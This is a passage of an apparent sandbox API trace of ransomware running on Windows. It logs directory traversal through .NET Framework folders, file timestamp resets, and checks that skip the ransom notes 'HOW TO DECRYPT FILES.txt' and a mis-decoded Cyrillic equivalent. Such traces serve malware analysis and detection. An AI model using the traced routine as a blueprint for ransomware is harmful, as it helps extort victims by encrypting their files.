(lpString1=".", lpString2="..") returned -1 [0136.829] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.829] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bd6db1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bd6db1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9bfcf11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28758, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ComSvcConfig.exe", cAlternateFileName="")) returned 1 [0136.829] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.829] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ComSvcConfig.exe") returned 1 [0136.830] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ComSvcConfig.exe") returned 1 [0136.830] lstrcmpiA (lpString1="", lpString2="ComSvcConfig.exe") returned -1 [0136.830] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\*.*") returned="*.*" [0136.830] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.830] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.832] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.833] CloseHandle (hObject=0x90) returned 1 [0136.833] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225beddb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.833] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0136.833] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0136.833] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\ComSvcConfig.exe") returned="ComSvcConfig.exe" [0136.833] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225beddb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015aa, cFileName=".", cAlternateFileName="")) returned 0x502658 [0136.834] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.834] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225beddb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0136.834] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.834] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.834] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe136d4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe136d4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8160, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ServiceModelEvents.dll.mui", cAlternateFileName="")) returned 1 [0136.834] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.834] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelEvents.dll.mui") returned -1 [0136.834] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelEvents.dll.mui") returned -1 [0136.834] lstrcmpiA (lpString1="", lpString2="ServiceModelEvents.dll.mui") returned -1 [0136.834] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\*.*") returned="*.*" [0136.834] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\" [0136.834] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\") returned="" [0136.836] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0136.836] CloseHandle (hObject=0x94) returned 1 [0136.837] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe136d4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe136d4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelInstallRC.dll.mui", cAlternateFileName="")) returned 1 [0136.837] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.837] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelInstallRC.dll.mui") returned -1 [0136.837] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelInstallRC.dll.mui") returned -1 [0136.837] lstrcmpiA (lpString1="", lpString2="ServiceModelInstallRC.dll.mui") returned -1 [0136.837] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\ServiceModelEvents.dll.mui") returned="ServiceModelEvents.dll.mui" [0136.837] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\" [0136.837] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\en-US\\") returned="" [0136.837] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe136d4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe136d4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelInstallRC.dll.mui", cAlternateFileName="")) returned 0 [0136.838] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0136.838] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45bd12a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd6750, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="infocard.exe", cAlternateFileName="")) returned 1 [0136.838] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.838] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="infocard.exe") returned -1 [0136.838] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="infocard.exe") returned -1 [0136.838] lstrcmpiA (lpString1="", lpString2="infocard.exe") returned -1 [0136.838] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\*.*") returned="*.*" [0136.838] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.838] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.838] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ded52e4, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1ded52e4, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x616b76fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="Microsoft.Transactions.Bridge.dll", cAlternateFileName="")) returned 1 [0136.838] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.838] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Transactions.Bridge.dll") returned -1 [0136.839] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Transactions.Bridge.dll") returned -1 [0136.839] lstrcmpiA (lpString1="", lpString2="Microsoft.Transactions.Bridge.dll") returned -1 [0136.839] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\infocard.exe") returned="infocard.exe" [0136.839] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.839] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.839] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4524ba9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="Microsoft.Transactions.Bridge.Dtc.dll", cAlternateFileName="")) returned 1 [0136.839] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.839] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Transactions.Bridge.Dtc.dll") returned -1 [0136.839] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Transactions.Bridge.Dtc.dll") returned -1 [0136.839] lstrcmpiA (lpString1="", lpString2="Microsoft.Transactions.Bridge.Dtc.dll") returned -1 [0136.839] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\Microsoft.Transactions.Bridge.dll") returned="Microsoft.Transactions.Bridge.dll" [0136.839] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.839] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.840] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e560f38, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1e560f38, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x61d8f63c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1f58, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="ServiceModelEvents.dll", cAlternateFileName="")) returned 1 [0136.840] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.840] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelEvents.dll") returned -1 [0136.840] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelEvents.dll") returned -1 [0136.840] lstrcmpiA (lpString1="", lpString2="ServiceModelEvents.dll") returned -1 [0136.840] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\Microsoft.Transactions.Bridge.Dtc.dll") returned="Microsoft.Transactions.Bridge.Dtc.dll" [0136.840] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.840] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.840] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e691a30, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1e691a30, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x61db579c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1f58, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="ServiceModelInstallRC.dll", cAlternateFileName="")) returned 1 [0136.840] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.841] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelInstallRC.dll") returned -1 [0136.841] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelInstallRC.dll") returned -1 [0136.841] lstrcmpiA (lpString1="", lpString2="ServiceModelInstallRC.dll") returned -1 [0136.841] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\ServiceModelEvents.dll") returned="ServiceModelEvents.dll" [0136.841] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.841] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.841] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9c95492, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9c95492, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9cbb5f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25760, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="ServiceModelReg.exe", cAlternateFileName="")) returned 1 [0136.841] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.841] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelReg.exe") returned -1 [0136.841] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelReg.exe") returned -1 [0136.841] lstrcmpiA (lpString1="", lpString2="ServiceModelReg.exe") returned -1 [0136.841] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\ServiceModelInstallRC.dll") returned="ServiceModelInstallRC.dll" [0136.841] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.841] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.842] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea49c77, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1ea49c77, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x6260a49c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="ServiceMonikerSupport.dll", cAlternateFileName="")) returned 1 [0136.842] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.842] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceMonikerSupport.dll") returned -1 [0136.842] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceMonikerSupport.dll") returned -1 [0136.842] lstrcmpiA (lpString1="", lpString2="ServiceMonikerSupport.dll") returned -1 [0136.842] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\ServiceModelReg.exe") returned="ServiceModelReg.exe" [0136.842] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.842] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.843] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4524ba9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2b760, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="SMConfigInstaller.exe", cAlternateFileName="")) returned 1 [0136.843] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMConfigInstaller.exe") returned -1 [0136.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMConfigInstaller.exe") returned -1 [0136.843] lstrcmpiA (lpString1="", lpString2="SMConfigInstaller.exe") returned -1 [0136.843] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\ServiceMonikerSupport.dll") returned="ServiceMonikerSupport.dll" [0136.843] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.843] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.843] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b64990, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9b64990, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9b64990, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="SMdiagnostics.dll", cAlternateFileName="")) returned 1 [0136.843] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMdiagnostics.dll") returned -1 [0136.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMdiagnostics.dll") returned -1 [0136.843] lstrcmpiA (lpString1="", lpString2="SMdiagnostics.dll") returned -1 [0136.843] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\SMConfigInstaller.exe") returned="SMConfigInstaller.exe" [0136.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.844] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.844] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa99e7bcd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa99e7bcd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99e7bcd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f750, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="SMSvcHost.exe", cAlternateFileName="")) returned 1 [0136.844] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0136.844] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMSvcHost.exe") returned -1 [0136.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMSvcHost.exe") returned -1 [0136.844] lstrcmpiA (lpString1="", lpString2="SMSvcHost.exe") returned -1 [0136.844] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\SMdiagnostics.dll") returned="SMdiagnostics.dll" [0136.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" [0136.844] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\") returned="" [0136.845] 